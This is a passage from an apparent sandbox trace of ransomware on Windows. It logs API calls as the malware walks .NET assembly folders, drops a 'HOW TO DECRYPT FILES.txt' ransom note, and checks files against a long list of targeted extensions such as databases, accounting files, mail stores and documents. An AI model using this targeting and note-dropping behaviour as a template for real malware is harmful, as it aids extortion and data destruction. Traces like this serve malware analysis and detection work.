(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.xdw") returned 0 [0098.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.ods") returned 0 [0098.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.wav") returned 0 [0098.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.mp3") returned 0 [0098.876] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.aiff") returned 0 [0098.877] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.flac") returned 0 [0098.877] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.m4a") returned 0 [0098.877] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0\\10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", pszSpec="*.csv") returned 0 [0098.877] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd32178e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd32178e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd32178e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5da8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0098.877] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0098.877] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd32178e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd32178e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd32178e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="1000~1.0__")) returned 0 [0098.877] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0098.877] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30e40f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa30e40f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa30e40f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c6c, dwReserved1=0x720063, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0", cAlternateFileName="MID9EC~1.0")) returned 1 [0098.877] lstrcmpA (lpString1=".", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0") returned -1 [0098.877] lstrcmpA (lpString1="..", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0") returned -1 [0098.877] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0098.877] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0" [0098.878] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30e40f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa30e40f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa30e40f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0098.878] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.878] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa30e40f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa30e40f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa30e40f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.879] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.879] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.879] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d7a190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d7a190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="900~1.0__")) returned 1 [0098.879] lstrcmpA (lpString1=".", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.879] lstrcmpA (lpString1="..", lpString2="9.0.0.0__b03f5f7f11d50a3a") returned -1 [0098.879] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\*.*") returned="*.*" [0098.879] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\", lpString2="9.0.0.0__b03f5f7f11d50a3a" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a" [0098.879] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d7a190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d7a190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0098.879] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0098.880] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d7a190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d7a190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.880] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0098.880] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0098.880] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60d7a190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60d7a190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d7a190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0098.880] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0098.880] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll") returned -1 [0098.880] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll") returned -1 [0098.880] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll") returned -1 [0098.880] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\*.*") returned="*.*" [0098.880] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" [0098.880] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\") returned="" [0098.880] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" [0098.880] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt")) returned 0xffffffff [0098.880] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.visualstudio.tools.office.contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0099.081] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0099.083] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0099.083] CloseHandle (hObject=0x90) returned 1 [0099.083] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll" [0099.083] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.ems") returned 0 [0099.084] lstrlenA (lpString="*.ems") returned 5 [0099.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.db") returned 0 [0099.084] lstrlenA (lpString="*.db") returned 4 [0099.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.dbf") returned 0 [0099.084] lstrlenA (lpString="*.dbf") returned 5 [0099.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.myox") returned 0 [0099.084] lstrlenA (lpString="*.myox") returned 6 [0099.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.myo") returned 0 [0099.084] lstrlenA (lpString="*.myo") returned 5 [0099.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.qbw") returned 0 [0099.084] lstrlenA (lpString="*.qbw") returned 5 [0099.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.qbb") returned 0 [0099.084] lstrlenA (lpString="*.qbb") returned 5 [0099.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.qbm") returned 0 [0099.084] lstrlenA (lpString="*.qbm") returned 5 [0099.084] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.qbo") returned 0 [0099.084] lstrlenA (lpString="*.qbo") returned 5 [0099.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.qbx") returned 0 [0099.085] lstrlenA (lpString="*.qbx") returned 5 [0099.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.qba") returned 0 [0099.085] lstrlenA (lpString="*.qba") returned 5 [0099.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.qby") returned 0 [0099.085] lstrlenA (lpString="*.qby") returned 5 [0099.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.qbj") returned 0 [0099.085] lstrlenA (lpString="*.qbj") returned 5 [0099.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.ofx") returned 0 [0099.085] lstrlenA (lpString="*.ofx") returned 5 [0099.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.qif") returned 0 [0099.085] lstrlenA (lpString="*.qif") returned 5 [0099.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.mye") returned 0 [0099.085] lstrlenA (lpString="*.mye") returned 5 [0099.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.mbox") returned 0 [0099.085] lstrlenA (lpString="*.mbox") returned 6 [0099.085] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.eml") returned 0 [0099.085] lstrlenA (lpString="*.eml") returned 5 [0099.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.pst") returned 0 [0099.086] lstrlenA (lpString="*.pst") returned 5 [0099.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.ost") returned 0 [0099.086] lstrlenA (lpString="*.ost") returned 5 [0099.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.idx") returned 0 [0099.086] lstrlenA (lpString="*.idx") returned 5 [0099.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.dbx") returned 0 [0099.086] lstrlenA (lpString="*.dbx") returned 5 [0099.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.sql") returned 0 [0099.086] lstrlenA (lpString="*.sql") returned 5 [0099.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.mdb") returned 0 [0099.086] lstrlenA (lpString="*.mdb") returned 5 [0099.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.fdb") returned 0 [0099.086] lstrlenA (lpString="*.fdb") returned 5 [0099.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.wab") returned 0 [0099.086] lstrlenA (lpString="*.wab") returned 5 [0099.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.dat") returned 0 [0099.087] lstrlenA (lpString="*.dat") returned 5 [0099.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.txt") returned 0 [0099.087] lstrlenA (lpString="*.txt") returned 5 [0099.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.jpeg") returned 0 [0099.087] lstrlenA (lpString="*.jpeg") returned 6 [0099.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.jpg") returned 0 [0099.087] lstrlenA (lpString="*.jpg") returned 5 [0099.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.png") returned 0 [0099.087] lstrlenA (lpString="*.png") returned 5 [0099.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.php") returned 0 [0099.087] lstrlenA (lpString="*.php") returned 5 [0099.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.cs") returned 0 [0099.087] lstrlenA (lpString="*.cs") returned 4 [0099.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.cpp") returned 0 [0099.087] lstrlenA (lpString="*.cpp") returned 5 [0099.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.rar") returned 0 [0099.087] lstrlenA (lpString="*.rar") returned 5 [0099.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.zip") returned 0 [0099.088] lstrlenA (lpString="*.zip") returned 5 [0099.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.html") returned 0 [0099.088] lstrlenA (lpString="*.html") returned 6 [0099.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.htm") returned 0 [0099.088] lstrlenA (lpString="*.htm") returned 5 [0099.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.xlsx") returned 0 [0099.088] lstrlenA (lpString="*.xlsx") returned 6 [0099.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.xls") returned 0 [0099.089] lstrlenA (lpString="*.xls") returned 5 [0099.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.mp4") returned 0 [0099.089] lstrlenA (lpString="*.mp4") returned 5 [0099.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0\\9.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", pszSpec="*.ppt") returned 0 